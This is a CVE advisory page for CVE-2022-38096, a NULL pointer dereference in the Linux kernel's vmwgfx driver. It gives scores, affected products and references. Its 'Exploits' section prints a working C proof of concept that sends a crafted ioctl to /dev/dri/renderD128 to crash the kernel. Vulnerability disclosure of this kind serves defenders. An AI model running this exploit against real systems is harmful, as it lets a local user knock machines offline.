There is a NULL pointer vulnerability in vmwgfx driver

Summary

CVECVE-2022-38096
StatePUBLISHED
AssignerAnolis
Source PriorityCVE Program / NVD first with legacy fallback
Published2022-09-09 15:15:14 UTC
Updated2026-05-12 10:16:38 UTC
DescriptionA NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).

Risk And Classification

Primary CVSS: v3.1 5.5 MEDIUM from [email protected]

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS: 0.000400000 probability, percentile 0.119490000 (date 2026-05-12)

Problem Types: CWE-476 | CWE-476 CWE-476 NULL Pointer Dereference


VersionSourceTypeScoreSeverityVector
3.1[email protected]Primary5.5MEDIUMCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
3.1[email protected]Secondary6.3MEDIUMCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
3.1CNADECLARED6.3MEDIUMCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H

CVSS v3.1 Breakdown

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

NVD Known Affected Configurations (CPE 2.3)

TypeVendorProductVersionUpdateEditionLanguage
Operating System Linux Linux Kernel All All All All

Vendor Declared Affected Products

SourceVendorProductVersionPlatforms
CNA Linux Kernel affected v4.20-rc1 5.13.0-52* custom Not specified
ADP Linux Linux Kernel affected v4.20-rc1 5.14 custom Not specified
ADP Siemens SIMATIC S7-1500 TM MFP - GNU/Linux Subsystem affected * custom Not specified

References

ReferenceSourceLinkTags
lists.debian.org/debian-lts-announce/2024/06/msg00017.html af854a3a-2127-422b-91ae-364da2661108 lists.debian.org
cert-portal.siemens.com/productcert/html/ssa-265688.html 0b142b55-0307-4c5a-b3c9-f314f3fb7c5e cert-portal.siemens.com
Bug Access Denied af854a3a-2127-422b-91ae-364da2661108 bugzilla.openanolis.cn Issue Tracking, Permissions Required
CVE Program record CVE.ORG www.cve.org canonical
NVD vulnerability detail NVD nvd.nist.gov canonical, analysis

Vendor Comments And Credit

Discovery Credit

CNA: Ziming Zhang([email protected]) from Ant Group Light-Year Security Lab (en)

Additional Advisory Data

Exploits

CNA: #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <linux/if_tun.h> #include <net/if.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <sys/socket.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <errno.h> #include <stdio.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <sys/types.h> #include <stdint.h> #include <netinet/ip.h> #include <sys/resource.h> #include <sys/syscall.h> #include <limits.h> #include <sys/mman.h> #include <linux/fs.h> int fd = 0; typedef struct mixer { int index; int fd; char *msg; }mixer_t; struct drm_vmw_surface_create_req { __u32 flags; __u32 format; __u32 mip_levels[6]; __u64 size_addr; __s32 shareable; __s32 scanout; }; struct drm_vmw_execbuf_arg { __u64 commands; __u32 command_size; __u32 throttle_us; __u64 fence_rep; __u32 version; __u32 flags; __u32 context_handle; __s32 imported_fence_fd; }; void init(){ if ((fd = open("/dev/dri/renderD128", O_RDWR)) == -1) { printf("open tun failed: %s\n", strerror(errno)); return -1; } } void poc(int sid){ int cmd[0x1000]={0}; cmd[0]=1165; cmd[1]=0x50; cmd[2]=0x0; cmd[3]=0x0; cmd[4]=-1; struct drm_vmw_execbuf_arg arg={0}; arg.commands=cmd; arg.command_size=0x100; arg.version=2; arg.context_handle=sid; if (ioctl(fd, 0x4028644C, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } } int alloc_context(){ int arg[0x10]={0}; arg[0]=0; arg[1]=0x100; if (ioctl(fd, 0x80086447, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg[0]; } int alloc_bo(){ int arg[0x10]={0}; arg[0]=0x10000; if (ioctl(fd, 0xC0186441, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg[2]; } int create_surface(){ int buf[0x100]={0}; buf[0]=64; buf[1]=64; buf[2]=64; struct drm_vmw_surface_create_req arg={0}; arg.flags=0; arg.format=2; arg.mip_levels[0]=1; arg.size_addr=buf; arg.shareable=0; arg.scanout=0x10; if (ioctl(fd, 0xC0306449, &arg) == -1) { printf("ioctl tun failed: %s\n", strerror(errno)); return -1; } return arg.flags; } int main(int ac, char **argv) { init(); int cid=alloc_context(); printf("%d",cid); poc(cid); }

Legacy QID Mappings

  • 161479 Oracle Enterprise Linux Security Update for kernel (ELSA-2024-1607)
  • 242941 Red Hat Update for kernel (RHSA-2024:0930)
  • 242985 Red Hat Update for kernel (RHSA-2024:1018)
  • 242986 Red Hat Update for kernel-rt (RHSA-2024:1019)
  • 243050 Red Hat Update for kernel (RHSA-2024:1250)
  • 243055 Red Hat Update for kernel (RHSA-2024:1268)
  • 243058 Red Hat Update for kernel-rt (RHSA-2024:1269)
  • 243062 Red Hat Update for kernel-rt (RHSA-2024:1306)
  • 243076 Red Hat Update for kernel (RHSA-2024:1367)
  • 243087 Red Hat Update for kernel (RHSA-2024:1404)
  • 243096 Red Hat Update for kernel-rt (RHSA-2024:1382)
  • 243160 Red Hat Update for kernel security (RHSA-2024:1607)
  • 243167 Red Hat Update for kernel-rt (RHSA-2024:1614)
  • 753801 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0762-1)
  • 753806 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0770-1)
  • 753807 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0768-1)
  • 753808 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0778-1)
  • 753810 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0780-1)
  • 753832 SUSE Enterprise Linux Security Update for the Linux Kernel (SUSE-SU-2023:0852-1)
  • 755842 SUSE Enterprise Linux Security Update for the linux kernel (SUSE-SU-2023:0774-1)
  • 755851 SUSE Enterprise Linux Security Update for the linux kernel (SUSE-SU-2023:2646-1)
  • 903890 Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10901)
  • 903909 Common Base Linux Mariner (CBL-Mariner) Security Update for kernel (10951)
  • 941650 AlmaLinux Security Update for kernel (ALSA-2024:1607)
  • 961147 Rocky Linux Security Update for kernel (RLSA-2024:1607)
  • 961150 Rocky Linux Security Update for kernel-rt (RLSA-2024:1614)
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report